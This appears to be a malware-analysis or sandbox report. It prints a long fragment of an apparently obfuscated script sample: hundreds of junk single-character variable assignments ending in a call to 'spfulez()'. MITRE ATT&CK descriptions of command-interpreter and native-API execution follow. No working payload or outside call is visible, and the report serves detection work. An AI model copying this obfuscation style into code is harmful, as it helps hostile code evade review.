221	urneenus = "S";
222	urneenus = "X";
223	urneenus = "i";
224	urneenus = "S";
225	urneenus = "W";
226	urneenus = "w";
227	urneenus = "u";
228	urneenus = "s";
229	urneenus = "Z";
230	urneenus = "A";
231	urneenus = "V";
232	urneenus = "l";
233	urneenus = "X";
234	urneenus = "h";
235	urneenus = "y";
236	urneenus = "U";
237	urneenus = "Y";
238	urneenus = "6";
239	ayuuxqh = "f";
240	ayuuxqh = "S";
241	ayuuxqh = "B";
242	ayuuxqh = "o";
243	ayuuxqh = "O";
244	ayuuxqh = "b";
245	ayuuxqh = "o";
246	ayuuxqh = "b";
247	ayuuxqh = "E";
248	ayuuxqh = "c";
249	ayuuxqh = "N";
250	ayuuxqh = "e";
251	ayuuxqh = "P";
252	ayuuxqh = "Z";
253	ayuuxqh = "T";
254	ayuuxqh = "O";
255	ayuuxqh = "o";
256	ayuuxqh = "V";
257	ayuuxqh = "V";
258	ayuuxqh = "e";
259	ayuuxqh = "w";
260	ayuuxqh = "Q";
261	ayuuxqh = "O";
262	ayuuxqh = "Y";
263	ayuuxqh = "V";
264	ayuuxqh = "o";
265	ayuuxqh = "c";
266	ayuuxqh = "Z";
267	ayuuxqh = "c";
268	ayuuxqh = "J";
269	ayuuxqh = "h";
270	ayuuxqh = "i";
271	ayuuxqh = "i";
272	ayuuxqh = "5";
273	aybjgaion = "r";
274	aybjgaion = "T";
275	aybjgaion = "e";
276	aybjgaion = "j";
277	aybjgaion = "V";
278	aybjgaion = "b";
279	aybjgaion = "L";
280	aybjgaion = "y";
281	aybjgaion = "S";
282	aybjgaion = "Y";
283	aybjgaion = "A";
284	aybjgaion = "G";
285	aybjgaion = "\"";
286	ymxyk = "v";
287	ymxyk = "h";
288	ymxyk = "n";
289	ymxyk = "B";
290	ymxyk = "U";
291	ymxyk = "W";
292	ymxyk = "j";
293	ymxyk = "o";
294	ymxyk = "N";
295	ymxyk = "X";
296	ymxyk = "t";
297	ymxyk = "R";
298	ymxyk = "I";
299	ymxyk = "P";
300	ymxyk = "A";
301	ymxyk = "E";
302	ymxyk = "R";
303	ymxyk = "B";
304	ymxyk = "M";
305	ymxyk = "s";
306	ymxyk = "h";
307	ymxyk = "k";
308	ymxyk = "y";
309	ymxyk = "F";
310	ymxyk = "s";
311	ymxyk = "r";
312	ymxyk = "T";
313	ymxyk = "y";
314	ymxyk = "C";
315	ymxyk = "L";
316	ymxyk = "v";
317	ymxyk = "l";
318	ymxyk = "Z";
319	ymxyk = "X";
320	ymxyk = "a";
321	ymxyk = "z";
322	ymxyk = "4";
323	bwvny = "r";
324	bwvny = "S";
325	bwvny = "R";
326	bwvny = "z";
327	bwvny = "w";
328	bwvny = "R";
329	bwvny = "d";
330	bwvny = "u";
331	bwvny = "o";
332	bwvny = "e";
333	bwvny = "w";
334	bwvny = "o";
335	bwvny = "R";
336	clhntyp = "k";
337	clhntyp = "C";
338	clhntyp = "t";
339	clhntyp = "c";
340	clhntyp = "F";
341	clhntyp = "F";
342	clhntyp = "J";
343	clhntyp = "M";
344	clhntyp = "C";
345	clhntyp = "j";
346	clhntyp = "E";
347	clhntyp = "x";
348	clhntyp = "O";
349	clhntyp = "E";
350	clhntyp = "b";
351	clhntyp = "Q";
352	clhntyp = "o";
353	bmwoq = "d";
354	bmwoq = "d";
355	bmwoq = "W";
356	bmwoq = "a";
357	bmwoq = "t";
358	bmwoq = "Y";
359	bmwoq = "t";
360	bmwoq = "R";
361	bmwoq = "b";
362	bmwoq = "D";
363	bmwoq = "f";
364	bmwoq = "a";
365	bmwoq = "y";
366	bmwoq = "s";
367	bmwoq = "e";
368	bmwoq = "j";
369	bmwoq = "x";
370	bmwoq = "Q";
371	bmwoq = "h";
372	bmwoq = "F";
373	bmwoq = "C";
374	bmwoq = "A";
375	bmwoq = "r";
376	bmwoq = "i";
377	bmwoq = "T";
378	bmwoq = "b";
379	bmwoq = "s";
380	bmwoq = "O";
381	bmwoq = "j";
382	bmwoq = "i";
383	bmwoq = "i";
384	bmwoq = ".";
385	rdrkr = "r";
386	rdrkr = "q";
387	rdrkr = "J";
388	rdrkr = "M";
389	rdrkr = "S";
390	rdrkr = "X";
391	rdrkr = "t";
392	rdrkr = "s";
393	rdrkr = "k";
394	rdrkr = "i";
395	rdrkr = "C";
396	rdrkr = "/";
397	bxpsc = "J";
398	bxpsc = "N";
399	bxpsc = "x";
400	bxpsc = "a";
401	bxpsc = "K";
402	bxpsc = "c";
403	bxpsc = "Z";
404	bxpsc = "x";
405	bxpsc = "z";
406	bxpsc = "d";
407	bxpsc = "g";
408	bxpsc = "N";
409	bxpsc = "Q";
410	bxpsc = "E";
411	bxpsc = "t";
412	bxpsc = "q";
413	bxpsc = "b";
414	bxpsc = "H";
415	bxpsc = "f";
416	bxpsc = "d";
417	bxpsc = "x";
418	bxpsc = "y";
419	bxpsc = "I";
420	bxpsc = "H";
421	bxpsc = "P";
422	bxpsc = "a";
423	bxpsc = "p";
424	bxpsc = "S";
425	bxpsc = "E";
426	bxpsc = "N";
427	bxpsc = "2";
428	orqma = "V";
429	orqma = "D";
430	orqma = "T";
431	orqma = "h";
432	orqma = "K";
433	orqma = "m";
434	orqma = "M";
435	orqma = "k";
436	orqma = "w";
437	orqma = "m";
438	orqma = "Y";
439	orqma = "t";
440	orqma = "Z";
441	orqma = "p";
442	orqma = "x";
443	orqma = "n";
444	orqma = "h";
445	orqma = "s";
446	orqma = "C";
447	orqma = "%";
448	djcxulzf = "t";
449	djcxulzf = "g";
450	djcxulzf = "d";
451	djcxulzf = "D";
452	djcxulzf = "t";
453	djcxulzf = "X";
454	djcxulzf = "y";
455	djcxulzf = "z";
456	djcxulzf = "m";
457	djcxulzf = "u";
458	djcxulzf = "U";
459	djcxulzf = "R";
460	djcxulzf = "G";
461	djcxulzf = "x";
462	oekfng = "d";
463	oekfng = "O";
464	oekfng = "u";
465	oekfng = "x";
466	oekfng = "8";
467	hleop = "U";
468	hleop = "s";
469	hleop = "P";
470	hleop = "G";
471	hleop = "u";
472	hleop = "j";
473	hleop = "s";
474	hleop = "h";
475	hleop = "Q";
476	hleop = "d";
477	hleop = "l";
478	hleop = "j";
479	hleop = "q";
480	hleop = "V";
481	hleop = "x";
482	hleop = "A";
483	hleop = "-";
484	ttrqzb = "Y";
485	ttrqzb = "i";
486	ttrqzb = "t";
487	ttrqzb = "X";
488	ttrqzb = "c";
489	ttrqzb = "o";
490	ttrqzb = "X";
491	ttrqzb = "s";
492	fbmspx = "l";
493	fbmspx = "z";
494	fbmspx = "Z";
495	fbmspx = "A";
496	fbmspx = "x";
497	fbmspx = "F";
498	fbmspx = "R";
499	fbmspx = "g";
500	fbmspx = "k";
501	fbmspx = "q";
502	fbmspx = "Q";
503	fbmspx = "y";
504	fbmspx = "o";
505	fbmspx = "M";
506	fbmspx = "w";
507	jfxcdmil = "H";
508	jfxcdmil = "e";
509	jfxcdmil = "P";
510	vlvocfqxx = "c";
511	vlvocfqxx = "m";
512	vlvocfqxx = "g";
513	vlvocfqxx = "L";
514	vlvocfqxx = "D";
515	vlvocfqxx = "d";
516	vlvocfqxx = "l";
517	vlvocfqxx = "P";
518	vlvocfqxx = "K";
519	vlvocfqxx = "K";
520	vlvocfqxx = "l";
521	vlvocfqxx = "n";
522	vlvocfqxx = "u";
523	vlvocfqxx = "P";
524	vlvocfqxx = "w";
525	vlvocfqxx = "H";
526	vlvocfqxx = "T";
527	vlvocfqxx = "F";
528	vlvocfqxx = "O";
529	vlvocfqxx = "d";
530	vlvocfqxx = "j";
531	vlvocfqxx = "V";
532	vlvocfqxx = "b";
533	vlvocfqxx = "P";
534	vlvocfqxx = "j";
535	vlvocfqxx = "m";
536	vlvocfqxx = "3";
537	hmxuntbf = "L";
538	hmxuntbf = "l";
539	hmxuntbf = "P";
540	hmxuntbf = "v";
541	hmxuntbf = "V";
542	hmxuntbf = "i";
543	hmxuntbf = "i";
544	hmxuntbf = "g";
545	hmxuntbf = "a";
546	hmxuntbf = "N";
547	hmxuntbf = "Y";
548	hmxuntbf = "h";
549	hmxuntbf = "d";
550	hmxuntbf = "L";
551	hmxuntbf = "o";
552	hmxuntbf = "N";
553	hmxuntbf = "J";
554	hmxuntbf = "Y";
555	hmxuntbf = "C";
556	hmxuntbf = "k";
557	hmxuntbf = "B";
558	hmxuntbf = "N";
559	hmxuntbf = "t";
560	hmxuntbf = "n";
561	hmxuntbf = "n";
562	hmxuntbf = "P";
563	hmxuntbf = "M";
564	hmxuntbf = "J";
565	hmxuntbf = "H";
566	hmxuntbf = "U";
567	hmxuntbf = "W";
568	hmxuntbf = "W";
569	hmxuntbf = "f";
570	hmxuntbf = "I";
571	hmxuntbf = "u";
572	hmxuntbf = "S";
573	hmxuntbf = "i";
574	hmxuntbf = "r";
575	hmxuntbf = "W";
576	hmxuntbf = "i";
577	hmxuntbf = "l";
578	hmxuntbf = "Y";
579	hmxuntbf = "P";
580	hmxuntbf = "E";
581	hmxuntbf = "0";
582	mbjsjxzv = "c";
583	mbjsjxzv = "f";
584	mbjsjxzv = "K";
585	mbjsjxzv = "Q";
586	mbjsjxzv = "x";
587	mbjsjxzv = "E";
588	mbjsjxzv = "s";
589	mbjsjxzv = "X";
590	mbjsjxzv = "T";
591	mbjsjxzv = "t";
592	mbjsjxzv = "n";
593	mbjsjxzv = "T";
594	mbjsjxzv = "x";
595	mbjsjxzv = "9";
596	cgjal = "v";
597	cgjal = "m";
598	cgjal = "K";
599	cgjal = "f";
600	cgjal = "O";
601	cgjal = "L";
602	cgjal = "f";
603	cgjal = "R";
604	cgjal = "I";
605	cgjal = "e";
606	cgjal = "y";
607	cgjal = "o";
608	cgjal = "Z";
609	cgjal = "h";
610	cgjal = "Y";
611	cgjal = "i";
612	cgjal = "N";
613	cgjal = "U";
614	cgjal = "c";
615	cgjal = "K";
616	cgjal = "X";
617	cgjal = "s";
618	cgjal = "C";
619	cgjal = "K";
620	cgjal = "w";
621	cgjal = "f";
622	cgjal = "M";
623	cgjal = "Q";
624	cgjal = "V";
625	cgjal = "Z";
626	cgjal = "y";
627	cgjal = "j";
628	cgjal = "n";
629	cgjal = "f";
630	cgjal = "@";
631	xixab = "G";
632	xixab = "V";
633	xixab = "p";
634	xixab = "S";
635	xixab = "t";
636	xixab = "o";
637	xixab = "N";
638	xixab = "y";
639	xixab = "L";
640	xixab = "h";
641	xixab = "e";
642	xixab = "X";
643	xixab = "e";
644	xixab = "A";
645	xixab = "S";
646	xixab = "r";
647	xixab = "x";
648	xixab = "y";
649	xixab = "h";
650	xixab = "f";
651	xixab = "q";
652	xixab = "B";
653	xixab = "P";
654	xixab = "k";
655	xixab = "G";
656	xixab = "S";
657	xixab = "B";
658	xixab = "d";
659	xixab = "l";
660	xixab = "O";
661	xixab = "c";
662	xixab = "x";
663	xixab = "L";
664	xixab = "H";
665	xixab = "N";
666	elbveuez = "A";
667	elbveuez = "s";
668	elbveuez = "B";
669	elbveuez = "H";
670	elbveuez = "Z";
671	elbveuez = "v";
672	elbveuez = "G";
673	elbveuez = "N";
674	elbveuez = "Q";
675	elbveuez = "R";
676	elbveuez = "r";
677	elbveuez = "p";
678	elbveuez = "Z";
679	elbveuez = "D";
680	elbveuez = "G";
681	elbveuez = "l";
682	elbveuez = "A";
683	elbveuez = "a";
684	elbveuez = "Y";
685	elbveuez = "M";
686	elbveuez = "j";
687	elbveuez = "G";
688	elbveuez = "d";
689	elbveuez = "W";
690	elbveuez = "y";
691	elbveuez = "T";
692	elbveuez = "s";
693	elbveuez = "e";
694	elbveuez = "k";
695	elbveuez = "n";
696	elbveuez = "w";
697	elbveuez = "A";
698	elbveuez = "A";
699	elbveuez = "m";
700	elbveuez = "M";
701	elbveuez = "G";
702	elbveuez = "X";
703	elbveuez = "y";
704	elbveuez = "N";
705	elbveuez = "n";
706	aupulkypr = "c";
707	aupulkypr = "n";
708	aupulkypr = "F";
709	aupulkypr = "n";
710	aupulkypr = "a";
711	aupulkypr = "Y";
712	aupulkypr = "w";
713	aupulkypr = "W";
714	aupulkypr = "N";
715	aupulkypr = "Y";
716	aupulkypr = "U";
717	fqhtk = "T";
718	fqhtk = "a";
719	fqhtk = "b";
720	fqhtk = "R";
721	fqhtk = "l";
722	fqhtk = "m";
723	fqhtk = "D";
724	fqhtk = "o";
725	fqhtk = "L";
726	fqhtk = "Q";
727	fqhtk = "S";
728	fqhtk = "y";
729	fqhtk = "d";
730	fqhtk = "e";
731	fqhtk = "T";
732	fqhtk = "c";
733	fqhtk = "b";
734	fqhtk = "y";
735	fqhtk = "A";
736	fqhtk = "p";
737	fqhtk = "b";
738	fqhtk = "E";
739	fqhtk = "u";
740	fqhtk = "y";
741	fqhtk = "v";
742	fqhtk = "e";
743	fqhtk = "V";
744	fqhtk = "D";
745	fqhtk = "D";
746	fqhtk = "q";
747	fqhtk = "W";
748	fqhtk = "k";
749	fqhtk = ":";
750	asgaubt = "I";
751	asgaubt = "O";
752	asgaubt = "q";
753	asgaubt = "C";
754	asgaubt = "y";
755	asgaubt = "S";
756	asgaubt = "a";
757	asgaubt = "Y";
758	asgaubt = "T";
759	asgaubt = "L";
760	asgaubt = "z";
761	asgaubt = "l";
762	wyyada = "x";
763	wyyada = "O";
764	wyyada = "M";
765	wyyada = "O";
766	wyyada = "L";
767	wyyada = "R";
768	wyyada = "M";
769	wyyada = "k";
770	wyyada = "m";
771	wyyada = "Q";
772	wyyada = "A";
773	wyyada = "X";
774	wyyada = "r";
775	wyyada = "q";
776	wyyada = "o";
777	wyyada = "V";
778	wyyada = "w";
779	wyyada = "H";
780	wyyada = "G";
781	wyyada = "j";
782	wyyada = "y";
783	wyyada = "R";
784	wyyada = "s";
785	wyyada = "t";
786	wyyada = "y";
787	wyyada = "s";
788	wyyada = "j";
789	wyyada = "t";
790	wyyada = "I";
791	wyyada = "S";
792	wyyada = "s";
793	wyyada = "T";
794	cvxzp = "d";
795	cvxzp = "k";
796	cvxzp = "p";
797	cvxzp = "f";
798	cvxzp = "S";
799	cvxzp = "F";
800	cvxzp = "J";
801	cvxzp = "W";
802	jumfsocj = "J";
803	jumfsocj = "E";
804	jumfsocj = "X";
805	jumfsocj = "M";
806	jumfsocj = "S";
807	jumfsocj = "D";
808	jumfsocj = "Y";
809	jumfsocj = "K";
810	jumfsocj = "k";
811	jumfsocj = "t";
812	jumfsocj = "z";
813	jumfsocj = "n";
814	jumfsocj = "G";
815	jumfsocj = "V";
816	jumfsocj = "z";
817	jumfsocj = "y";
818	jumfsocj = "u";
819	jumfsocj = "B";
820	jumfsocj = "K";
821	jumfsocj = "t";
822	jumfsocj = "h";
823	jumfsocj = "t";
824	jumfsocj = "M";
825	jumfsocj = "D";
826	jumfsocj = "z";
827	jumfsocj = "t";
828	jumfsocj = "N";
829	jumfsocj = "H";
830	jumfsocj = "V";
831	jumfsocj = "k";
832	jumfsocj = "x";
833	jumfsocj = "H";
834	jumfsocj = "G";
835	jumfsocj = "u";
836	jumfsocj = "i";
837	jumfsocj = "h";
838	wztpj = "N";
839	wztpj = "w";
840	wztpj = "E";
841	wztpj = "b";
842	wztpj = "I";
843	wztpj = "f";
844	wztpj = "M";
845	wztpj = "H";
846	wztpj = "B";
847	wztpj = "f";
848	wztpj = "S";
849	wztpj = "r";
850	wztpj = "p";
851	wztpj = "H";
852	wztpj = "g";
853	wztpj = "L";
854	wztpj = "S";
855	otgixoq = "t";
856	otgixoq = "m";
857	otgixoq = "J";
858	otgixoq = "y";
859	otgixoq = "I";
860	otgixoq = "u";
861	otgixoq = "v";
862	otgixoq = "U";
863	otgixoq = "h";
864	otgixoq = "S";
865	otgixoq = "y";
866	otgixoq = "m";
867	otgixoq = "i";
868	otgixoq = "m";
869	otgixoq = "X";
870	otgixoq = "l";
871	otgixoq = "k";
872	otgixoq = "n";
873	otgixoq = "N";
874	otgixoq = "q";
875	otgixoq = "w";
876	otgixoq = "Q";
877	otgixoq = "i";
878	otgixoq = "b";
879	ssybma = "T";
880	ssybma = "Q";
881	ssybma = "t";
882	ssybma = "w";
883	ssybma = "m";
884	ssybma = "b";
885	ssybma = "Z";
886	ssybma = "D";
887	ssybma = "r";
888	ssybma = "n";
889	ssybma = "h";
890	ssybma = "q";
891	ssybma = "M";
892	ssybma = "A";
893	ssybma = "E";
894	ssybma = "m";
895	ssybma = "j";
896	ssybma = "d";
897	ssybma = "l";
898	ssybma = "h";
899	ssybma = "S";
900	ssybma = "t";
901	ssybma = "j";
902	ssybma = "U";
903	ssybma = "H";
904	ssybma = "g";
905	ssybma = "t";
906	ssybma = "v";
907	ssybma = "A";
908	ssybma = "l";
909	ssybma = "c";
910	ssybma = "k";
911	ssybma = "t";
912	ssybma = "n";
913	ssybma = "P";
914	ssybma = "p";
915	ssybma = "A";
916	ssybma = "g";
917	ssybma = "X";
918	ssybma = "T";
919	ssybma = "r";
920	ssybma = "Q";
921	ssybma = "d";
922	ssybma = "H";
923	vpftcqg = "S";
924	vpftcqg = "b";
925	vpftcqg = "K";
926	vpftcqg = "F";
927	vpftcqg = "\\";
928	paicgmmb = "c";
929	paicgmmb = "i";
930	paicgmmb = "G";
931	paicgmmb = "S";
932	paicgmmb = "z";
933	paicgmmb = "Q";
934	paicgmmb = "h";
935	paicgmmb = "W";
936	paicgmmb = "n";
937	paicgmmb = "b";
938	paicgmmb = "T";
939	paicgmmb = "z";
940	paicgmmb = "P";
941	paicgmmb = "f";
942	paicgmmb = "B";
943	paicgmmb = "w";
944	paicgmmb = "Q";
945	paicgmmb = "u";
946	paicgmmb = "j";
947	paicgmmb = "j";
948	paicgmmb = "k";
949	paicgmmb = "x";
950	paicgmmb = "C";
951	suanb = "g";
952	suanb = "y";
953	suanb = "e";
954	suanb = "k";
955	nkwlpnrkz = "A";
956	nkwlpnrkz = "f";
957	nkwlpnrkz = "A";
958	nkwlpnrkz = "q";
959	nkwlpnrkz = "v";
960	nkwlpnrkz = "g";
961	nkwlpnrkz = "D";
962	nkwlpnrkz = "z";
963	nkwlpnrkz = "s";
964	nkwlpnrkz = "G";
965	nkwlpnrkz = "u";
966	nkwlpnrkz = "d";
967	nkwlpnrkz = "K";
968	nkwlpnrkz = "J";
969	nkwlpnrkz = "v";
970	nkwlpnrkz = "N";
971	nkwlpnrkz = "v";
972	nkwlpnrkz = "G";
973	nkwlpnrkz = "M";
974	nkwlpnrkz = "K";
975	nkwlpnrkz = "N";
976	nkwlpnrkz = "d";
977	nkwlpnrkz = "d";
978	nkwlpnrkz = "l";
979	nkwlpnrkz = "m";
980	nkwlpnrkz = "z";
981	nkwlpnrkz = "y";
982	nkwlpnrkz = "b";
983	nkwlpnrkz = "P";
984	nkwlpnrkz = "o";
985	nkwlpnrkz = "S";
986	nkwlpnrkz = "v";
987	aulltolg = "U";
988	aulltolg = "I";
989	aulltolg = "q";
990	jalyyytu = "T";
991	jalyyytu = "z";
992	jalyyytu = "f";
993	jalyyytu = "o";
994	jalyyytu = "L";
995	jalyyytu = "e";
996	jalyyytu = "a";
997	jalyyytu = "c";
998	jalyyytu = "g";
999	jalyyytu = "O";
1000	jalyyytu = "m";
1001	jalyyytu = "n";
1002	jalyyytu = "u";
1003	jalyyytu = "n";
1004	jalyyytu = "W";
1005	jalyyytu = "T";
1006	jalyyytu = "a";
1007	jalyyytu = "t";
1008	jalyyytu = "h";
1009	jalyyytu = "J";
1010	jalyyytu = "e";
1011	jalyyytu = "Q";
1012	jalyyytu = "y";
1013	jalyyytu = "h";
1014	jalyyytu = "y";
1015	jalyyytu = "i";
1016	jalyyytu = "E";
1017	jalyyytu = "d";
1018	jalyyytu = "b";
1019	jalyyytu = "c";
1020	jalyyytu = "Y";
1021	jalyyytu = "l";
1022	jalyyytu = "p";
1023	jalyyytu = "N";
1024	jalyyytu = "s";
1025	jalyyytu = "o";
1026	jalyyytu = "f";
1027	jalyyytu = "S";
1028	jalyyytu = "s";
1029	jalyyytu = "R";
1030	jalyyytu = "Y";
1031	jalyyytu = "c";
1032	jalyyytu = " ";
1033	aleafugo = "m";
1034	aleafugo = "l";
1035	aleafugo = "Z";
1036	aleafugo = "c";
1037	aleafugo = "b";
1038	aleafugo = "y";
1039	aleafugo = "N";
1040	aleafugo = "d";
1041	aleafugo = "C";
1042	aleafugo = "c";
1043	aleafugo = "V";
1044	aleafugo = "q";
1045	aleafugo = "k";
1046	aleafugo = "e";
1047	aleafugo = "D";
1048	aleafugo = "x";
1049	aleafugo = "W";
1050	aleafugo = "h";
1051	aleafugo = "N";
1052	aleafugo = "p";
1053	nkdxx = "c";
1054	nkdxx = "s";
1055	nkdxx = "W";
1056	nkdxx = "s";
1057	nkdxx = "F";
1058	nkdxx = "G";
1059	nkdxx = "z";
1060	nkdxx = "h";
1061	nkdxx = "u";
1062	nkdxx = "M";
1063	nkdxx = "Z";
1064	nkdxx = "d";
1065	nkdxx = "o";
1066	nkdxx = "n";
1067	nkdxx = "&";
1068	neybtif = "K";
1069	neybtif = "j";
1070	neybtif = "w";
1071	neybtif = "o";
1072	neybtif = "z";
1073	neybtif = "s";
1074	neybtif = "J";
1075	neybtif = "y";
1076	neybtif = "j";
1077	neybtif = "L";
1078	neybtif = "T";
1079	neybtif = "W";
1080	neybtif = "Q";
1081	neybtif = "s";
1082	neybtif = "g";
1083	yhrjenq = "I";
1084	yhrjenq = "s";
1085	yhrjenq = "i";
1086	yhrjenq = "F";
1087	yhrjenq = "x";
1088	yhrjenq = "Y";
1089	yhrjenq = "P";
1090	yhrjenq = "X";
1091	yhrjenq = "X";
1092	yhrjenq = "L";
1093	yhrjenq = "u";
1094	yhrjenq = "Y";
1095	yhrjenq = "Z";
1096	yhrjenq = "B";
1097	yhrjenq = "X";
1098	yhrjenq = "f";
1099	yhrjenq = "l";
1100	yhrjenq = "g";
1101	yhrjenq = "V";
1102	yhrjenq = "m";
1103	yhrjenq = "M";
1104	yhrjenq = "p";
1105	yhrjenq = "R";
1106	yhrjenq = "v";
1107	yhrjenq = "A";
1108	yhrjenq = "R";
1109	yhrjenq = "h";
1110	yhrjenq = "D";
1111	yhrjenq = "j";
1112	yhrjenq = "T";
1113	yhrjenq = "I";
1114	gouqhd = "g";
1115	gouqhd = "O";
1116	gouqhd = "P";
1117	gouqhd = "S";
1118	gouqhd = "F";
1119	gouqhd = "A";
1120	gouqhd = "R";
1121	gouqhd = "H";
1122	gouqhd = "q";
1123	gouqhd = "k";
1124	gouqhd = "D";
1125	gouqhd = "B";
1126	gouqhd = "S";
1127	gouqhd = "E";
1128	gouqhd = "S";
1129	gouqhd = "x";
1130	gouqhd = "I";
1131	gouqhd = "C";
1132	gouqhd = "M";
1133	gouqhd = "S";
1134	gouqhd = "i";
1135	gouqhd = "Y";
1136	gouqhd = "C";
1137	gouqhd = "W";
1138	gouqhd = "i";
1139	efaeftfl = "s";
1140	efaeftfl = "U";
1141	efaeftfl = "D";
1142	efaeftfl = "v";
1143	efaeftfl = "P";
1144	efaeftfl = "A";
1145	efaeftfl = "g";
1146	efaeftfl = "S";
1147	efaeftfl = "l";
1148	efaeftfl = "p";
1149	efaeftfl = "F";
1150	efaeftfl = "Q";
1151	efaeftfl = "F";
1152	efaeftfl = "r";
1153	efaeftfl = "W";
1154	efaeftfl = "H";
1155	efaeftfl = "N";
1156	efaeftfl = "b";
1157	efaeftfl = "i";
1158	efaeftfl = "t";
1159	efaeftfl = "b";
1160	efaeftfl = "w";
1161	efaeftfl = "x";
1162	efaeftfl = "d";
1163	efaeftfl = "S";
1164	efaeftfl = "R";
1165	efaeftfl = "o";
1166	efaeftfl = "T";
1167	efaeftfl = "Z";
1168	efaeftfl = "t";
1169	efaeftfl = "s";
1170	efaeftfl = "G";
1171	efaeftfl = "P";
1172	efaeftfl = "c";
1173	tynco = "u";
1174	tynco = "g";
1175	tynco = "g";
1176	tynco = "N";
1177	tynco = "N";
1178	tynco = "T";
1179	tynco = "T";
1180	tynco = "u";
1181	ykommhc = "y";
1182	ykommhc = "U";
1183	ykommhc = "U";
1184	ykommhc = "m";
1185	ykommhc = "H";
1186	ykommhc = "i";
1187	ykommhc = "K";
1188	ykommhc = "a";
1189	ykommhc = "p";
1190	ykommhc = "z";
1191	ykommhc = "h";
1192	ykommhc = "M";
1193	ykommhc = "d";
1194	ykommhc = "G";
1195	ykommhc = "A";
1196	ykommhc = "Y";
1197	ykommhc = "R";
1198	ykommhc = "Z";
1199	ykommhc = "d";
1200	ykommhc = "y";
1201	ykommhc = "J";
1202	ykommhc = "Q";
1203	vqdyaim = "n";
1204	vqdyaim = "x";
1205	vqdyaim = "b";
1206	vqdyaim = "z";
1207	vqdyaim = "u";
1208	vqdyaim = "F";
1209	vqdyaim = "r";
1210	lmjjge = "c";
1211	lmjjge = "u";
1212	lmjjge = "Q";
1213	lmjjge = "d";
1214	lmjjge = "U";
1215	lmjjge = "J";
1216	lmjjge = "u";
1217	lmjjge = "E";
1218	lmjjge = "S";
1219	lmjjge = "j";
1220	lmjjge = "C";
1221	lmjjge = "U";
1222	lmjjge = "c";
1223	lmjjge = "Q";
1224	lmjjge = "a";
1225	lmjjge = "i";
1226	lmjjge = "w";
1227	lmjjge = "Q";
1228	lmjjge = "_";
1229	fwbocfu = "L";
1230	fwbocfu = "K";
1231	fwbocfu = "d";
1232	vnkqd = "U";
1233	vnkqd = "E";
1234	vnkqd = "S";
1235	vnkqd = "h";
1236	vnkqd = "j";
1237	vnkqd = "m";
1238	vnkqd = "h";
1239	vnkqd = "k";
1240	vnkqd = "R";
1241	vnkqd = "i";
1242	vnkqd = "V";
1243	vnkqd = "P";
1244	vnkqd = "X";
1245	vnkqd = "D";
1246	vnkqd = "U";
1247	vnkqd = "r";
1248	vnkqd = "r";
1249	vnkqd = "j";
1250	vnkqd = "n";
1251	vnkqd = "j";
1252	vnkqd = "y";
1253	vnkqd = "K";
1254	vnkqd = "a";
1255	vnkqd = "N";
1256	vnkqd = "s";
1257	vnkqd = "Q";
1258	vnkqd = "U";
1259	vnkqd = "1";
1260	hzrxaz = "k";
1261	hzrxaz = "j";
1262	hzrxaz = "q";
1263	hzrxaz = "W";
1264	hzrxaz = "J";
1265	hzrxaz = "N";
1266	hzrxaz = "J";
1267	hzrxaz = "E";
1268	hzrxaz = "m";
1269	hzrxaz = "U";
1270	hzrxaz = "V";
1271	hzrxaz = "B";
1272	hzrxaz = "a";
1273	hzrxaz = "t";
1274	hzrxaz = "a";
1275	hzrxaz = "X";
1276	hzrxaz = "B";
1277	hzrxaz = "U";
1278	hzrxaz = "x";
1279	hzrxaz = "X";
1280	hzrxaz = "s";
1281	hzrxaz = "N";
1282	hzrxaz = "I";
1283	hzrxaz = "j";
1284	hzrxaz = "o";
1285	hzrxaz = "O";
1286	hzrxaz = "L";
1287	hzrxaz = "z";
1288	hzrxaz = "U";
1289	hzrxaz = "A";
1290	hzrxaz = "t";
1291	ovyrty = "Y";
1292	ovyrty = "A";
1293	ovyrty = "u";
1294	ovyrty = "E";
1295	ovyrty = "C";
1296	ovyrty = "t";
1297	ovyrty = "e";
1298	ovyrty = "m";
1299	ovyrty = "C";
1300	ovyrty = "Q";
1301	ovyrty = "f";
1302	ovyrty = "H";
1303	ovyrty = "E";
1304	ovyrty = "J";
1305	ovyrty = "q";
1306	ovyrty = "e";
1307	ovyrty = "E";
1308	ovyrty = "V";
1309	ovyrty = "Y";
1310	ovyrty = "M";
1311	ovyrty = "X";
1312	ovyrty = "g";
1313	ovyrty = "J";
1314	ovyrty = "a";
1315	ovyrty = "F";
1316	ovyrty = "u";
1317	ovyrty = "Q";
1318	ovyrty = "F";
1319	islymkfmb = "m";
1320	islymkfmb = "Q";
1321	islymkfmb = "L";
1322	islymkfmb = "m";
1323	islymkfmb = "N";
1324	islymkfmb = "t";
1325	islymkfmb = "e";
1326	islymkfmb = "z";
1327	islymkfmb = "P";
1328	islymkfmb = "Q";
1329	islymkfmb = "G";
1330	islymkfmb = "c";
1331	islymkfmb = "P";
1332	islymkfmb = "p";
1333	islymkfmb = "x";
1334	islymkfmb = "N";
1335	islymkfmb = "s";
1336	islymkfmb = "G";
1337	islymkfmb = "x";
1338	islymkfmb = "m";
1339	islymkfmb = "a";
1340	islymkfmb = "x";
1341	islymkfmb = "I";
1342	islymkfmb = "K";
1343	spfulez ( );	spfulez() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

